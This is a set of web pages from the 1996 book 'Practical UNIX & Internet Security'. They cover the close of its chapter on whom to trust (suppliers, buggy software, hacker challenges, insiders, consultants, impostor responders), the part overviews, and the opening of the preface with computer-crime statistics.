In recent years, a few viruses have been distributed with shareware, but we have also seen many viruses distributed in shrink-wrapped programs. The viruses come from small companies, and from the makers of major computer systems. Even Microsoft distributed a CD-ROM with a virus hidden inside a macro for Microsoft Word. The Bureau of the Census distributed a CD-ROM with a virus on it. One of the problems posed by viruses on distribution disks is that many installation procedures require that the user disable any antiviral software that is running.

The mass-market software industry has also seen a problem with logic bombs and Trojan horses. For example, in 1994, Adobe distributed a version of a new Photoshop 3.0 for the Macintosh with a "time bomb" designed to make the program stop working at some point in the future; the time bomb had inadvertently been left in the program from the beta-testing cycle. Because commercial software is not distributed in source code form, you cannot inspect a program and tell if this kind of intentional bug is present or not.

Like shrink-wrapped programs, shareware is also a mixed bag. Some shareware sites have system administrators who are very conscientious, and who go to great pains to scan their software libraries with viral scanners before making them available for download. Other sites have no controls, and allow users to place files directly in the download libraries. In the spring of 1995, a program called PKZIP30.EXE made its way around a variety of FTP sites on the Internet and through America Online. This program appeared to be the 3.0 beta release of PKZIP, a popular DOS compression utility. But when the program was run, it erased the user's hard disk.

27.2.3 Buggy Software

Consider the following, rather typical, disclaimer on a piece of distributed software:

NO WARRANTY OF PERFORMANCE. THE PROGRAM AND ITS ASSOCIATED DOCUMENTATION ARE LICENSED "AS IS" WITHOUT WARRANTY AS TO THEIR PERFORMANCE, MERCHANTABILITY, OR FITNESS FOR ANY PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE RESULTS AND PERFORMANCE OF THE PROGRAM IS ASSUMED BY YOU AND YOUR DISTRIBUTEES. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU AND YOUR DISTRIBUTEES (AND NOT THE VENDOR) ASSUME THE ENTIRE COST OF ALL NECESSARY SERVICING, REPAIR, OR CORRECTION.

Software sometimes has bugs. You install it on your disk, and under certain circumstances, it damages your files or returns incorrect results. The examples are legion. You may think that the software is infected with a virus - it is certainly behaving as if it is infected with a virus - but the problem is merely the result of poor programming.

If the creators and vendors of the software don't have confidence in their own software, why should you? If the vendors disclaim "...warranty as to [its] performance, merchantability, or fitness for any particular purpose," then why are you paying them money and using their software as a base for your business?

Unfortunately, quality is not a priority for most software vendors. In most cases, they license the software to you with a broad disclaimer of warranty (similar to the above) so there is little incentive for them to be sure that every bug has been eradicated before they go to market. The attitude is often one of "We'll fix it in the next release, after the customers have found all the bugs." Then they introduce new features with new bugs. Yet people wait in line at midnight to be the first to buy software that is full of bugs and may erase their disks when they try to install it.

Other bugs abound. Recall that the first study by Professor Barton Miller, cited in Chapter 23, Writing Secure SUID and Network Programs, found that more than one-third of common programs supplied by several UNIX vendors crashed or hung when they were tested with a trivial program that generated random input. Five years later, he reran the tests. The results? Although most vendors had improved to where "only" one-fourth of the programs crashed, one vendor's software exhibited a 46% failure rate! This failure rate was despite wide circulation and publication of the report, and despite the fact that Miller's team made the test code available for free to vendors.

Most frightening, the testing performed by Miller's group is one of the simplest, least-effective forms of testing that can be performed (random, black-box testing). Do vendors do any reasonable testing at all?

Consider the case of a software engineer from a major PC software vendor who came to Purdue to recruit in 1995. During his presentation, students reported that he stated that two of the top 10 reasons to work for his company were "You don't need to bother with that software engineering stuff - you simply need to love to code" and "You'd rather write assembly code than test software." As you might expect, the company has developed a reputation for quality problems. What is surprising is that they continue to be a market leader, year after year, and that people continue to buy their software.[3]

[3] The same company introduced a product that responded to a wrong password being typed three times in a row by prompting the user with something to the effect of, "You appear to have set your password to something too difficult to remember. Would you like to set it to something simpler?" Analysis of this approach is left as an exercise for the reader.

What's your vendor's policy about testing and good software engineering practices?

Or, consider the case of someone who implements security features without really understanding the "big picture." As we noted in "Picking a Random Seed" in Chapter 23, a sophisticated encryption algorithm was built into Netscape Navigator to protect credit card numbers in transit on the network. Unfortunately, the implementation used a weak initialization of the "random number" used to generate a system key. The result? Someone with an account on a client machine could easily obtain enough information to crack the key in a matter of seconds, using only a small program.

27.2.4 Hacker Challenges

Over the past decade, several vendors have issued public challenges stating that their systems are secure because they haven't been broken by "hacker challenges." Usually, these challenges involve some vendor putting its system on the Internet and inviting all comers to take a whack in return for some token prize. Then, after a few weeks or months, the vendor shuts down the site, proclaims their product invulnerable, and advertises the results as if they were a badge of honor. But consider the following:

  • Few such "challenges" are conducted using established testing techniques. They are ad hoc, random tests.

  • That no problems are found does not mean that no problems exist. The testers might not have exposed them yet. Or, the testers might not have recognized them. (Consider how often software is released with bugs, even after careful scrutiny.) Furthermore, how do you know that the testers will report what they find? In some cases, the information may be more valuable to the hackers later on, after the product has been sold to many customers - because at that time, they'll have more profitable targets to pursue.

  • Simply because the vendor does not report a successful penetration does not mean that one did not occur - the vendor may choose not to report it because it would reflect poorly on the product. Or, the vendor may not have recognized the penetration.

  • Challenges give potential miscreants some period to practice breaking the system without penalty. Challenges also give miscreants an excuse if they are caught trying to break into the system later (e.g., "We thought the contest was still going on.")

  • Seldom do the really good experts, on either side of the fence, participate in such exercises. Thus, anything done is usually done by amateurs. (The "honor" of having won the challenge is not sufficient to lure the good ones into the challenge. Think about it - good consultants can command fees of several thousand dollars per day in some cases - why should they effectively donate their time and names for free advertising?)

Furthermore, the whole process sends the wrong messages - that we should build things and then try to break them (rather than building them right in the first place), or that there is some prestige or glory in breaking systems. We don't test the strengths of bridges by driving over them with a variety of cars and trucks to see if they fail, and pronounce them safe if no collapse occurs during the test.

Some software designers could learn a lot from civil engineers. So might the rest of us: in ancient times, if a house fell or a bridge collapsed and injured someone, the engineer who designed it was crushed to death in the rubble as punishment!

Next time you see an advertiser using a challenge to sell a product, you should ask if the challenger is really giving you more confidence in the product...or convincing you that the vendor doesn't have a clue as to how to really design and test security.

If you think that a security challenge builds the right kind of trust, then get in touch with us. We have these magic pendants. No one wearing one has ever had a system broken into, despite challenges to all the computer users who happened to be around when the systems were developed. Thus, the pendants must be effective at keeping out hackers. We'll be happy to sell some to you. After all, we employ the same rigorous testing methodology as your security software vendors, so our product must be reliable, right?

27.2.5 Security Bugs that Never Get Fixed

There is also the question of legitimate software distributed by computer manufacturers that contains glaring security holes. More than a year after the release of sendmail Version 8, nearly every major UNIX vendor was still distributing its computers equipped with sendmail Version 5. (Versions 6 and 7 were interim releases which were never released.) While Version 8 had many improvements over Version 5, it also had many critical security patches. Was the unwillingness of UNIX vendors to adopt Version 8 negligence - a demonstration of their laissez-faire attitude towards computer security - or merely a reflection of pressing market conditions?[4] Are the two really different?

[4] Or was the new, "improved" program simply too hard to configure? At least one vendor told us that it was.

How about the case in which many vendors still release versions of TFTP that, by default, allow remote users to obtain copies of the password file? What about versions of RPC that allow users to spoof NFS by using proxy calls through the RPC system? What about software that includes a writable utmp file that enables a user to overwrite arbitrary system files? Each of these cases is a well-known security flaw. In each case, the vendors did not provide fixes for years - even now, they may not be fixed.

Many vendors say that computer security is not a high priority, because they are not convinced that spending more money on computer security will pay off for them. Computer companies are rightly concerned with the amount of money that they spend on computer security. Developing a more secure computer is an expensive proposition that not every customer may be willing to pay for. The same level of computer security may not be necessary for a server on the Internet as for a server behind a corporate firewall, or on a disconnected network. Furthermore, increased computer security will not automatically increase sales: firms that want security generally hire staff who are responsible for keeping systems secure; users who do not want (or do not understand) security are usually unwilling to pay for it at any price, and frequently disable security when it is provided.

On the other hand, a computer company is far better equipped to safeguard the security of its operating system than is an individual user. One reason is that a computer company has access to the system's source code. A second reason is that most large companies can easily devote two or three people to assuring the security of their operating system, whereas most businesses are hard-pressed to devote even a single full-time employee to the job of computer security.

We believe that computer users are beginning to see system security and software quality as distinguishing features, much in the way that they see usability, performance, and new functionality as features. When a person breaks into a computer, over the Internet or otherwise, the act reflects poorly on the maker of the software. We hope that computer companies will soon make software quality at least as important as new features.

27.2.6 Network Providers that Network Too Well

Network providers pose special challenges for businesses and individuals. By their nature, network providers have computers that connect directly to your computer network, placing the provider (or perhaps a rogue employee at the providing company) in an ideal position to launch an attack against your installation. For consumers, providers are usually in possession of confidential billing information belonging to the users. Some providers even have the ability to directly make charges to a user's credit card or to deduct funds from a user's bank account.

Dan Geer, a Cambridge-based computer security professional, tells an interesting story about an investment brokerage firm that set up a series of direct IP connections between its clients' computers and the computers at the brokerage firm. The purpose of the links was to allow the clients to trade directly on the brokerage firm's computer system. But as the client firms were also competitors, the brokerage house equipped the link with a variety of sophisticated firewall systems.

It turns out, says Geer, that although the firm had protected itself from its clients, it did not invest the time or money to protect the clients from each other. One of the firm's clients proceeded to use the direct connection to break into the system operated by another client. A significant amount of proprietary information was stolen before the intrusion was discovered.

In another case, a series of articles appearing in The New York Times during the first few months of 1995 revealed how hacker Kevin Mitnick allegedly broke into a computer system operated by Netcom Communications. One of the things that Mitnick is alleged to have stolen was a complete copy of Netcom's client database, including the credit card numbers for more than 30,000 of Netcom's customers. Certainly, Netcom needed the credit card numbers to bill its customers for service. But why were they placed on a computer system that could be reached from the Internet? Why were they not encrypted?

Think about all those services that are sprouting up on the World Wide Web. They claim to use all kinds of super encryption protocols to safeguard your credit card number as it is sent across the network. But remember - you can reach their machines via the Internet to make the transaction. What kinds of safeguards do they have in place at their sites to protect all the card numbers after they're collected? If you saw an armored car transferring your bank's receipts to a "vault" housed in a cardboard box on a park bench, would the strength of the armored car cause you to trust the safety of the funds?

Previous: 27.1 Can you Trust Your Computer? | Practical UNIX & Internet Security | Next: 27.3 Can You Trust People?
27.1 Can you Trust Your Computer? | Book Index | 27.3 Can You Trust People?


[Chapter 27] 27.3 Can You Trust People?

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 27.2 Can You Trust Your Suppliers? Chapter 27
Who Do You Trust? 		Next: 27.4 What All This Means

27.3 Can You Trust People?

Ultimately, people hack into computers. People delete files and alter system programs. People steal information. You should determine who you trust (and who you don't trust).

27.3.1 Your Employees?

Much of this book has been devoted to techniques that protect computer systems from attacks by outsiders. This focus isn't only our preoccupation: overwhelmingly, companies fear attacks from outsiders more than they fear attacks from the inside. Unfortunately, such fears are misplaced. Statistics compiled by the FBI and others show that the majority of major economic losses from computer crime appear to involve people on the "inside."

Companies seem to fear attacks from outsiders more than insiders because they fear the unknown. Few managers want to believe that their employees would betray their bosses, or the company as a whole. Few businesses want to believe that their executives would sell themselves out to the competition. As a result, many organizations spend vast sums protecting themselves from external threats, but do little in the way of instituting controls and auditing to catch and prevent problems from the inside.

Not protecting your organization against its own employees is a short-sighted policy. Protecting against insiders automatically buys an organization protection from outsiders as well. After all, what do outside attackers want most of all? They want an account on your computer, an account from which they can unobtrusively investigate your system and probe for vulnerabilities. Employes, executives, and other insiders already have this kind of access to your computers. And, according to recent computer industry surveys, attacks from outsiders and from rogue software account for only a small percentage of overall corporate losses; as many as 80% of attacks come from employees and former employees who are dishonest or disgruntled.

No person in your organization should be placed in a position of absolute trust. Unfortunately, many organizations implicitly trust the person who runs the firm's computer systems. Increasingly, outside auditors are now taking a careful look at the policies and procedures in Information Systems support organizations - making certain that backups are being performed, that employees are accountable for their actions, and that everybody operates within a framework of checks and balances.

27.3.2 Your System Administrator?

The threat of a dishonest system administrator should be obvious enough. After all, who knows better where all the goodies are kept, and where all the alarms are set? However, before you say that you trust your support staff, ask yourself a question: they may be honest, but are they competent?

We know of a recent case in which a departmental server was thoroughly compromised by at least two different groups of hackers. The system administrator had no idea what had happened, probably because he wasn't very adept at UNIX system administration. How were the intruders eventually discovered? During a software audit, the system was revealed to be running software that was inconsistent with what should have been there. What should have been there was an old, unpatched version of the software.[5] Investigation revealed that hackers had apparently installed new versions of system commands to keep their environment up to date because the legitimate administrator wasn't doing the job.

[5] Actually, the very latest software should have been there. However, the system administrator hadn't done any updates in more than two years, so we expected the old software to be in place.

Essentially, the hackers were doing a better job of maintaining the machine than the hired staff was. The hackers were then using the machine to stage attacks against other computers on the Internet.

In such cases, you probably have more to fear from incompetent staff than from some outsiders. After all, if the staff bungles the backups, reformats the disk drives, and then accidentally erases over the only good copies of data you have left, the data is as effectively destroyed as if a professional saboteur had hacked into the system and deleted it.

27.3.3 Your Vendor?

We heard about one case in which a field service technician for a major computer company was busy casing sites for later burglaries. He was shown into the building, was given unsupervised access to the equipment rooms, and was able to obtain alarm codes and door-lock combinations over time. When the thefts occurred, police were sure the crime was an inside job, but no one immediately realized how "inside" the technician had become.

There are cases in which U.S. military and diplomatic personnel at overseas postings had computer problems and took their machines in to local service centers. When they got home, technicians discovered a wide variety of interesting - and unauthorized - additions to the circuitry.

What about the software you get from the vendor? For instance, AT&T claims that Ken Thompson's compiler modifications (described earlier under "Trusting Trust") were never in any code that was shipped to customers. How do we know for sure? What's really in the code on your machines?

27.3.4 Your Consultants?

There are currently several people in the field of computer security consulting whose past is not quite sterling. These are people who have led major hacking rings, who brag about breaking into corporate and government computers, and who may have been indicted and prosecuted for computer crimes. Some of them have even done time in jail. Now they do security consulting - and a few even use their past in advertising (although most do not).

How trustworthy are these people? Who better to break into your computer system later on than the person who helped design the defenses? Think about this issue from a liability standpoint - would you hire a confessed arsonist to install your fire alarm system, or a convicted pedophile to run your company day-care center? He'd certainly know what to protect the children against! What would your insurance company have to say about that? Your stockholders?

Some security consultants are more than simply criminals; they are compulsive system hackers. Why should you believe that they are more trustworthy and have more self control now than they did a few years ago?

If you are careful not to hire suspicious individuals, how about your service provider? Your maintenance organization? Your software vendor? The company hired to clean your offices at night? The temp service that provides you with replacements for your secretary when your secretary goes on leave? Potential computer criminals, and those with an unsavory past, are as capable of putting on street clothes and holding down a regular job as anyone else. They don't have a scarlet "H" tattooed on their foreheads.

Can you trust references for your hires or consultants? Consider the story, possibly apocryphal, of the consultant at the large bank who found a way to crack security and steal $5 million. He was caught by bank security personnel later, but they couldn't trace the money or discover how he did it. So he struck a deal with the bank: he'd return all but 10% of the money, forever remain silent about the theft, and reveal the flaw he exploited in return for no prosecution and a favorable letter of reference. The bank eagerly agreed, and wrote the loss off as an advertising and training expense. Of course, with the favorable letter, he quickly got a job at the next bank running the same software. After only a few such job changes, he was able to retire with a hefty savings account in Switzerland.

Bankers Mistrust

Banks and financial institutions have notorious reputations for not reporting computer crimes. We have heard of cases in which bank personnel have traced active hacking attempts to a specific person, or developed evidence showing that someone had penetrated their systems, but they did not report these cases to the police for fear of the resulting publicity.

In other cases, we've heard that bank personnel have paid people off to get them to stop their attacks and keep quiet. Some experts in the industry contend that major banks and trading houses are willing to tolerate a few million dollars in losses per week rather than suffer the perceived bad publicity about a computer theft. To them, a few million a week is less than the interest they make on investments over a few hours: it's below the noise threshold.

Are these stories true? We don't know, but we haven't seen too many cases of banks reporting computer crimes, and we somehow don't think they are immune to attack. If anything, they're bigger targets. However, we do know that bankers tend to be conservative, and they worry that publicity about computer problems is bad for business.

Odd, if true. Think about the fact that when some kid with a gun steals $1000 from the tellers at a branch office, the crime makes the evening news, pictures are in the newspaper, and a regional alert is issued. No one loses confidence in the bank. But if some hacker steals $5 million as the result of a bug in the software and a lack of ethics...

Who do you entrust with your life's savings?

27.3.5 Response Personnel?

Your system has been hacked. You have a little information, but not much. If someone acts quickly, before logs at remote machines are erased, you might be able to identify the culprit. You get a phone call from someone claiming to be with the CERT-CC, or maybe the FBI. They tell you they learned from the administrator at another site that your systems might have been hacked. They tell you what to look for, then ask what you found on your own. They promise to follow right up on the leads you have and ask you to remain silent so as not to let on to the hackers that someone is hot on their trail. You never hear back from them, and later inquiries reveal that no one from the agency involved ever called you.

Does this case sound farfetched? It shouldn't. Administrators at commercial sites, government sites, and even response teams have all received telephone calls from people who claim to be representatives of various agencies but who aren't. We've also heard that some of these same people have had their email intercepted, copied, and read on its way to their machines (usually, a hacked service provider or altered DNS record is all that is needed). The result? The social engineers working the phones have some additional background information that makes them sound all the more official.

Who do you trust on the telephone when you get a call? Why?

Previous: 27.2 Can You Trust Your Suppliers? | Practical UNIX & Internet Security | Next: 27.4 What All This Means
27.2 Can You Trust Your Suppliers? | Book Index | 27.4 What All This Means


[Chapter 27] 27.4 What All This Means

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 27.3 Can You Trust People? Chapter 27
Who Do You Trust? 		Next: VII. Appendixes

27.4 What All This Means

We haven't presented the material in this chapter to induce paranoia in you, gentle reader. Instead, we want to get across the point that you need to consider carefully who and what you trust. If you have information or equipment that is of value to you, you need to think about the risks and dangers that might be out there. To have security means to trust, but that trust must be well placed.

If you are protecting information that is worth a great deal, attackers may well be willing to invest significant time and resources to break your security. You may also think you don't have information that is worth a great deal; nevertheless, you are a target anyway. Why? Your site may be a convenient stepping stone to another, more valuable site. Or perhaps one of your users is storing information of great value that you don't know about. Or maybe you simply don't realize how much the information you have is actually worth. For instance, in the late 1980's, Soviet agents were willing to pay hundreds of thousands of dollars for copies of the VMS operating system source - the same source that many site administrators kept in unlocked cabinets in public computer rooms.

To trust, you need to be suspicious. Ask questions. Do background checks. Test code. Get written assurances. Don't allow disclaimers. Harbor a healthy suspicion of fortuitous coincidences (the FBI happening to call or that patch tape showing up by FedEx, hours after you discover someone trying to exploit a bug that the patch purports to fix). You don't need to go overboard, butremember that the best way to develop trust is to anticipate problems and attacks, and then test for them. Then test again, later. Don't let a routine convince you that no problems will occur.

If you absorb everything we've written in this book, and apply it, you'll be way ahead of the game. However, this information is only the first part of a comprehensive security plan. You need to constantly be accumulating new information, studying your risks, and planning for the future. Complacency is one of the biggest dangers you can face. As we said at the beginning of the book, UNIX can be a secure system, but only if you understand it and deploy it in a monitored environment.

You can trust us on that.

Previous: 27.3 Can You Trust People? | Practical UNIX & Internet Security | Next: VII. Appendixes
27.3 Can You Trust People? | Book Index | VII. Appendixes


Practical UNIX & Internet Security

By Simson Garfinkel & Gene Spafford; ISBN 1-56592-148-8, 1004 pages.
Second Edition, April 1996.
(See the catalog page for this book.)

Search the text of Practical UNIX & Internet Security.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface

Part I: Computer Security Basics

Chapter 1: Introduction
Chapter 2: Policies and Guidelines

Part II: User Responsibilities

Chapter 3: Users and Passwords
Chapter 4: Users, Groups, and the Superuser
Chapter 5: The UNIX Filesystem
Chapter 6: Cryptography

Part III: System Security

Chapter 7: Backups
Chapter 8: Defending Your Accounts
Chapter 9: Integrity Management
Chapter 10: Auditing and Logging
Chapter 11: Protecting Against Programmed Threats
Chapter 12: Physical Security
Chapter 13: Personnel Security

Part IV: Network and Internet Security

Chapter 14: Telephone Security
Chapter 15: UUCP
Chapter 16: TCP/IP Networks
Chapter 17: TCP/IP Services
Chapter 18: WWW Security
Chapter 19: RPC, NIS, NIS+, and Kerberos
Chapter 20: NFS

Part V: Advanced Topics

Chapter 21: Firewalls
Chapter 22: Wrappers and Proxies
Chapter 23: Writing Secure SUID and Network Programs

Part VI: Handling Security Incidents

Chapter 24: Discovering a Break-in
Chapter 25: Denial of Service Attacks and Solutions
Chapter 26: Computer Security and U.S. Law
Chapter 27: Who Do You Trust?

Part VII: Appendixes

Appendix A: UNIX Security Checklist
Appendix B: Important Files
Appendix C: UNIX Processes
Appendix D: Paper Sources
Appendix E: Electronic Resources
Appendix F: Organizations
Appendix G: Table of IP Services

The Networking CD Bookshelf Navigation The Networking CD BookshelfDNS & BINDTCP/IP Network Administrationsendmailsendmail Desktop ReferenceBuilding Internet Firewalls

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


[Part I] Computer Security Basics

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: A Note to Computer Crackers Part I Next: 1. Introduction

Part I: Computer Security Basics

This part of the book provides a basic introduction to security policy. These chapters are intended to be accessible to both users and administrators.

  • Chapter 1, Introduction, provides a history of the UNIX operating system and an introduction to UNIX security. It also introduces basic terms we use throughout the book.

  • Chapter 2, Policies and Guidelines, examines the role of setting good policies to guide protection of your systems. It also describes the tradeoffs that must be made to account for cost, risk, and corresponding benefits.

Previous: A Note to Computer Crackers | Practical UNIX & Internet Security | Next: 1. Introduction
A Note to Computer Crackers | Book Index | 1. Introduction


[Part II] User Responsibilities

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 2.5 The Problem with Security Through Obscurity Part II Next: 3. Users and Passwords

Part II: User Responsibilities

This part of the book provides a basic introduction to UNIX host security. These chapters are intended to be accessible to both users and system administrators.

  • Chapter 3, Users and Passwords, is about UNIX user accounts. It discusses the purpose of passwords, explains what makes good and bad passwords, and describes how the crypt () password encryption system works.

  • Chapter 4, Users, Groups, and the Superuser, describes how UNIX groups can be used to control access to files and devices. It also discusses the UNIX superuser and the role that special users play.

  • Chapter 5, The UNIX Filesystem, discusses the security provisions of the UNIX filesystem and tells how to restrict access to files and directories to the file's owner, to a group of people, or to everybody on the computer system.

  • Chapter 6, Cryptography, discusses the role of encryption and message digests in your security. It includes a discussion of how various popular encryption schemes, including the PGP mail package, work.

Previous: 2.5 The Problem with Security Through Obscurity | Practical UNIX & Internet Security | Next: 3. Users and Passwords
2.5 The Problem with Security Through Obscurity | Book Index | 3. Users and Passwords


[Part III] System Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 6.7 Encryption and U.S. Law Part III Next: 7. Backups

Part III: System Security

This part of the book is directed primarily towards the UNIX system administrator. It describes how to configure UNIX on your computer to minimize the chances of a break-in, as well as to limit the opportunities for a nonprivileged user to gain superuser access.

  • Chapter 7, Backups, discusses how and why to make archival backups of your storage. It includes discussions of backup strategies for different types of organizations.

  • Chapter 8, Defending Your Accounts, describes ways that a computer cracker might try to initially break into your computer system. By knowing these "doors" and closing them, you increase the security of your system.

  • Chapter 9, Integrity Management, discusses how to monitor your filesystem for unauthorized changes. This includes coverage of the use of message digests and read-only disks, and the configuration and use of the Tripwire utility.

  • Chapter 10, Auditing and Logging, discusses the logging mechanisms that UNIX provides to help you audit the usage and behavior of your system.

  • Chapter 11, Protecting Against Programmed Threats, is about computer viruses, worms, and Trojan horses. This chapter contains detailed tips that you can use to protect yourself from these electronic vermin.

  • Chapter 12, Physical Security. What if somebody gets frustrated by your super-secure system and decides to smash your computer with a sledgehammer? This chapter describes physical perils that face your computer and its data and discusses ways of protecting them.

  • Chapter 13, Personnel Security, examines concerns about who you employ and how they fit into your overall security scheme.

Previous: 6.7 Encryption and U.S. Law | Practical UNIX & Internet Security | Next: 7. Backups
6.7 Encryption and U.S. Law | Book Index | 7. Backups


[Part IV] Network and Internet Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 13.3 Outsiders Part IV Next: 14. Telephone Security

Part IV: Network and Internet Security

This part of the book is about the ways in which individual UNIX computers communicate with one another and with the outside world, and the ways that these systems can be subverted by attackers to break into your computer system. Because many attacks come from the outside, this chapter is vital reading for anyone whose computer has outside connections.

  • Chapter 14, Telephone Security, describes how modems work and provides step-by-step instructions for testing your computer's modems to see if they harbor potential security problems.

  • Chapter 15, UUCP, is about the UNIX-to-UNIX copy system, which can use standard phone lines to copy files, transfer electronic mail, and exchange news. This chapter explains how UUCP works and tells you how to make sure that it can't be subverted to damage your system.

  • Chapter 16, TCP/IP Networks, provides background on how TCP/IP networking programs work and describes the security problems they pose.

  • Chapter 17, TCP/IP Services, discusses the common IP network services found on UNIX systems, coupled with common problems and pitfalls.

  • Chapter 18, WWW Security, describes some of the issues involved in running a WWW server without opening your system to security problems. The issues discussed here should also be borne in mind when operating any other kind of network-based information server.

  • Chapter 19, RPC, NIS, NIS+, and Kerberos, discusses a variety of network information services. It covers some of how they work, and common pitfalls.

  • Chapter 20, NFS, describes how Sun Microsystems' Network Filesystem works and its potential security problems.

Previous: 13.3 Outsiders | Practical UNIX & Internet Security | Next: 14. Telephone Security
13.3 Outsiders | Book Index | 14. Telephone Security


[Part V] Advanced Topics

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 20.5 Some Last Comments Part V Next: 21. Firewalls

Part V: Advanced Topics

This part of the book discusses issues that arise when organizational networks are interconnected with the Internet. It also discusses ways of increasing your security through better programming.

  • Chapter 21, Firewalls, describes how to set up various types of "firewalls" to protect an internal network from an external attacker.

  • Chapter 22, Wrappers and Proxies, describes a few common wrapper and proxying programs that help protect your machine and the programs within it without requiring access to source code.

  • Chapter 23, Writing Secure SUID and Network Programs, describes common pitfalls when writing your own software. It gives tips on how to write robust software that will resist attack from malicious users.

Previous: 20.5 Some Last Comments | Practical UNIX & Internet Security | Next: 21. Firewalls
20.5 Some Last Comments | Book Index | 21. Firewalls


[Part VI] Handling Security Incidents

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 23.9 A Good Random Seed Generator Part VI Next: 24. Discovering a Break-in

Part VI: Handling Security Incidents

This part of the book contains instructions for what to do if your computer's security is compromised. These chapters will also help system administrators protect their systems from authorized users who are misusing their privileges.

  • Chapter 24, Discovering a Break-in, contains step-by-step directions to follow if you discover that an unauthorized person is using your computer.

  • Chapter 25, Denial of Service Attacks and Solutions, describes ways that legitimate, authorized users can make your system inoperale, ways that you can find out who is doing what, and what to do about it.

  • Chapter 26, Computer Security and U.S. Law. Occasionally the only thing you can do is sue or try to have your attackers thrown into jail. This chapter describes the legal recourse you may have after a security breach and discusses why legal approaches are often not helpful. It also covers some emerging concerns about running server sites connected to a wide area network such as the internet.

  • Chapter 27, Who Do You Trust?, is a conluding chapter that makes the point that somewhere along the line, you need to trust a few things and people in order to sleep at night. Are you trusting the right ones?

Previous: 23.9 A Good Random Seed Generator | Practical UNIX & Internet Security | Next: 24. Discovering a Break-in
23.9 A Good Random Seed Generator | Book Index | 24. Discovering a Break-in


[Part VII] Appendixes

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 27.4 What All This Means Part VII Next: A. UNIX Security Checklist

Part VII: Appendixes

These appendixes provide a number of useful checklists and referances.

  • Appendix A, UNIX Security Checklist, contains a point-by-point list of many of the suggestions made in the text of the book.

  • Appendix B, Important Files, is a list of the important files in the UNIX filesystem, and a brief discussion of their security implications.

  • Appendix C, UNIX Processes, is a technical discussion of how the UNIX system manages processes. It also describes some of the special attributes of processes, including the UID, GID, and SUID.

  • Appendix D, Paper Sources, list books, article, and magazines about computer security.

  • Appendix E, Electronic Resources, is a brif listing of some significant security tools to use with UNIX, including directions on where to find them on the Internet.

  • Appendix F, Organizations, contains the names, telephone numbers, and addresses of organizations that are devoted to seeing computers become more secure.

  • Appendix G, Table of IP Services, lists the common TCP/IP protocols, along with their port numbers and suggested handling by a firewall.

Previous: 27.4 What All This Means | Practical UNIX & Internet Security | Next: A. UNIX Security Checklist
27.4 What All This Means | Book Index | A. UNIX Security Checklist


Preface

Contents:
UNIX "Security"?
Scope of This Book
Which UNIX System?
Conventions Used in This Book
Online Information
Acknowledgments
Comments and Questions
A Note to Computer Crackers

It's been five years since the publication of the first edition of Practical UNIX Security, and oh, what a difference a little bit of time makes!

In 1991, the only thing that most Americans knew about UNIX and the Internet was that it was the venue that had been besieged by a "computer virus" in 1988. Today, more than 10 million Americans use the Internet on a regular basis to send electronic mail, cruise the World Wide Web, and even shop. In 1991, we called the Internet a "global village." Today, it is an Information Highway that's getting larger and more crowded by the minute, with millions of users from hundreds of countries on all seven continents electronically connected to each other.

And yet, despite our greater reliance on network computing, the Internet isn't a safer place today than it was in 1991. If anything, the Internet is quickly becoming the Wild West of cyberspace. Although academics and industry leaders have long known about fundamental vulnerabilities of computers connected to the Internet, these flaws have been accommodated rather than corrected. As a result, we have seen many cases within the past few years of wide-scale security infractions throughout the network; in one single case, more than 30,000 people had their passwords stolen and accounts compromised; in another, more than 20,000 credit card numbers were allegedly stolen from one company in a single unauthorized access.

Computer crime is a growing problem. One recent study by the Yankee Group, a research analysis firm, estimated that losses of productivity, customer confidence, and competitive advantage as a result of computer security breaches could cost U.S. businesses alone more than $5 billion annually.[1] Other studies, cited in a 1995 Computer Security Institute publication, Current and Future Danger,[2] indicated:

[1] "Securing the LAN Environment," The Yankee Group, January 1994 White Paper (+1-617-367-1000).

[2] Power, Richard. Current and Future Danger: A CSI Primer on Computer Crime and Information Warfare. Computer Security Institute, 1995.

  • Combined losses from computer and telecommunications fraud in the U.S. alone may be over $10 billion a year, and growing.

  • Almost 25% of all organizations have experienced a verifiable computer crime in the 12 months preceding the survey.

  • Theft of proprietary business information, as reported monthly, rose 260% during the five-year period from 1988 to 1993.

Another 1995 study, Computer Crime in America,[3] reported that:

[3] Carter, David and Andra Katz. Computer Crime in America. Michigan State University, 1995.

  • 98.5% of all businesses surveyed had been victims of some form of computer crime.

  • 43.3% of the businesses reported having been the victims of computer crimes more than 25 times.

  • Unauthorized access to computer files for "snooping" (as opposed to outright theft) has increased by over 95% in the past five years.

  • Software piracy-improper copying of software in violation of copyrights- has increased by over 91% in the past five years.

  • Intentional introduction of viruses into corporate networks is up over 66% in the past five years.

  • Unauthorized access to business information and theft of proprietary information are up over 75% in the last five years.

And remember, the majority of computer security incidents are never discovered or reported!

In late 1995, the magazine Information Week and the accounting firm Ernst & Young conducted a survey of major companies in America and found that more than 20 had lost more than $1 million worth of information as a result of a security lapse in the previous two years. The survey also found that more than 80% had a full-time information security director, and nearly 70% thought that the computer security threat to companies had increased within the past five years.

What do all of these numbers mean for UNIX? Because of the widespread use of UNIX as the operating system of choice on the Internet, and its prevalence in client/server environments, it is undoubtedly the case that many UNIX machines were involved in these incidents. Because of its continuing use in these environments, UNIX may be involved in the majority of incidents yet to come-the statistics and trends are disturbing. We hope that this new edition of our book helps limit the scope and number of these new incidents.

UNIX "Security"?

When the first version of this book appeared in 1991, many people thought that the words "UNIX security" were an oxymoron-two words that appeared to contradict each other, much like the words "jumbo shrimp" or "Congressional action." After all, the ease with which a UNIX guru could break into a system, seize control, and wreak havoc was legendary in the computer community. Some people couldn't even imagine that a computer running UNIX could be made secure.

